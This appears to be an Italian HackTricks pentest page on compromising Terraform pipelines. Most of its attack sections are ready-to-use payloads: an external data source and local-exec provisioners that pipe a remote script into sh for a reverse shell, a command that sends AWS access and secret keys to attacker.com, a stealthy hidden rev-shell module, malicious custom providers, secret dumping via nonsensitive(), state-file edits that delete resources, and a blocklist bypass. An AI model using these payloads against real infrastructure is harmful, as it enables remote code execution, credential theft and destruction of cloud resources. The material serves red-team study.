Terraform Security

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

Dalla documentazione:

HashiCorp Terraform è uno strumento di infrastruttura come codice che ti permette di definire risorse cloud e on-prem in file di configurazione leggibili dall'uomo che puoi versionare, riutilizzare e condividere. Puoi quindi utilizzare un flusso di lavoro coerente per provvedere e gestire tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come calcolo, archiviazione e risorse di rete, così come componenti ad alto livello come voci DNS e funzionalità SaaS.

Come funziona Terraform?

Terraform crea e gestisce risorse su piattaforme cloud e altri servizi attraverso le loro interfacce di programmazione delle applicazioni (API). I provider consentono a Terraform di lavorare con praticamente qualsiasi piattaforma o servizio con un'API accessibile.

HashiCorp e la comunità di Terraform hanno già scritto più di 1700 provider per gestire migliaia di diversi tipi di risorse e servizi, e questo numero continua a crescere. Puoi trovare tutti i provider disponibili pubblicamente sul Registro di Terraform, inclusi Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e molti altri.

Il flusso di lavoro principale di Terraform consiste in tre fasi:

  • Scrittura: Definisci risorse, che possono essere su più provider cloud e servizi. Ad esempio, potresti creare una configurazione per distribuire un'applicazione su macchine virtuali in una rete Virtual Private Cloud (VPC) con gruppi di sicurezza e un bilanciatore di carico.

  • Pianificazione: Terraform crea un piano di esecuzione descrivendo l'infrastruttura che creerà, aggiornerà o distruggerà in base all'infrastruttura esistente e alla tua configurazione.

  • Applicazione: Con l'approvazione, Terraform esegue le operazioni proposte nell'ordine corretto, rispettando le dipendenze delle risorse. Ad esempio, se aggiorni le proprietà di una VPC e cambi il numero di macchine virtuali in quella VPC, Terraform ricreerà la VPC prima di ridimensionare le macchine virtuali.

Laboratorio di Terraform

Basta installare terraform sul tuo computer.

Qui hai una guida e qui hai il modo migliore per scaricare terraform.

RCE in Terraform

Terraform non ha una piattaforma che espone una pagina web o un servizio di rete che possiamo enumerare, quindi, l'unico modo per compromettere terraform è essere in grado di aggiungere/modificare file di configurazione di terraform.

Tuttavia, terraform è un componente molto sensibile da compromettere perché avrà accesso privilegiato a diverse posizioni per poter funzionare correttamente.

Il modo principale per un attaccante di poter compromettere il sistema in cui viene eseguito terraform è compromettere il repository che memorizza le configurazioni di terraform, perché in qualche momento verranno interpretate.

Attualmente, ci sono soluzioni là fuori che eseguono automaticamente terraform plan/apply dopo la creazione di una PR, come Atlantis:

pageAtlantis Security

Se sei in grado di compromettere un file terraform ci sono diversi modi in cui puoi eseguire RCE quando qualcuno esegue terraform plan o terraform apply.

Terraform plan

Terraform plan è il comando più utilizzato in terraform e sviluppatori/soluzioni che utilizzano terraform lo chiamano continuamente, quindi il modo più semplice per ottenere RCE è assicurarsi di iniettare un file di configurazione terraform che eseguirà comandi arbitrari in un terraform plan.

Utilizzando un provider esterno

Terraform offre il provider external che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare il data source external per eseguire codice arbitrario durante una plan.

Iniettando in un file di configurazione terraform qualcosa di simile a quanto segue eseguirà una shell reversa quando si esegue terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Utilizzo di un provider personalizzato

Un attaccante potrebbe inviare un provider personalizzato al Terraform Registry e poi aggiungerlo al codice Terraform in un branch di funzionalità (esempio da qui):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Il provider viene scaricato nell'init e eseguirà il codice dannoso quando viene eseguito plan

È possibile trovare un esempio in https://github.com/rung/terraform-provider-cmdexec

Utilizzo di un riferimento esterno

Entrambe le opzioni menzionate sono utili ma non molto stealthy (la seconda è più stealthy ma più complessa della prima). È possibile effettuare questo attacco in modo ancora più stealthy, seguendo questi suggerimenti:

  • Invece di aggiungere la reverse shell direttamente nel file terraform, è possibile caricare una risorsa esterna che contiene la reverse shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Puoi trovare il codice rev shell in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Nella risorsa esterna, utilizza la funzionalità ref per nascondere il codice rev shell di terraform in un branch all'interno del repository, qualcosa del genere: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Applicazione di Terraform

Terraform apply verrà eseguito per applicare tutte le modifiche, puoi anche abusarne per ottenere RCE iniettando un file Terraform maligno con local-exec. Devi solo assicurarti che un payload come i seguenti finisca nel file main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Segui i suggerimenti della tecnica precedente per eseguire questo attacco in modo più stealth utilizzando riferimenti esterni.

Dump delle Password

È possibile avere valori segreti utilizzati da terraform dumpati eseguendo terraform apply aggiungendo al file terraform qualcosa del genere:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Abuso dei file di stato di Terraform

Nel caso in cui si abbia accesso in scrittura ai file di stato di Terraform ma non si possa modificare il codice di Terraform, questa ricerca offre alcune opzioni interessanti per sfruttare il file:

Eliminazione delle risorse

Ci sono 2 modi per eliminare le risorse:

  1. Inserire una risorsa con un nome casuale nel file di stato che punta alla vera risorsa da eliminare

Poiché Terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l'ID della vera risorsa indicata). Esempio dalla pagina precedente:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Modificare la risorsa da eliminare in modo che non sia possibile aggiornarla (quindi verrà eliminata e ricreata)

Per un'istanza EC2, modificare il tipo di istanza è sufficiente per fare in modo che terraform elimini e ricrei l'istanza.

RCE

È anche possibile creare un provider personalizzato e semplicemente sostituire uno dei provider nel file di stato di terraform con quello dannoso o aggiungere una risorsa vuota con il provider dannoso. Esempio dalla ricerca originale:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Sostituire il provider dalla lista nera

Nel caso ti trovi in una situazione in cui hashicorp/external è stato messo nella lista nera, puoi reimplementare il provider external facendo quanto segue. Nota: Utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o la tua reimplementazione.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Quindi puoi utilizzare external come al solito.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Strumenti di Audit

  • tfsec: tfsec utilizza l'analisi statica del tuo codice terraform per individuare potenziali errate configurazioni.

  • terascan: Terrascan è un analizzatore statico di codice per l'Infrastruttura come Codice.

Riferimenti

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated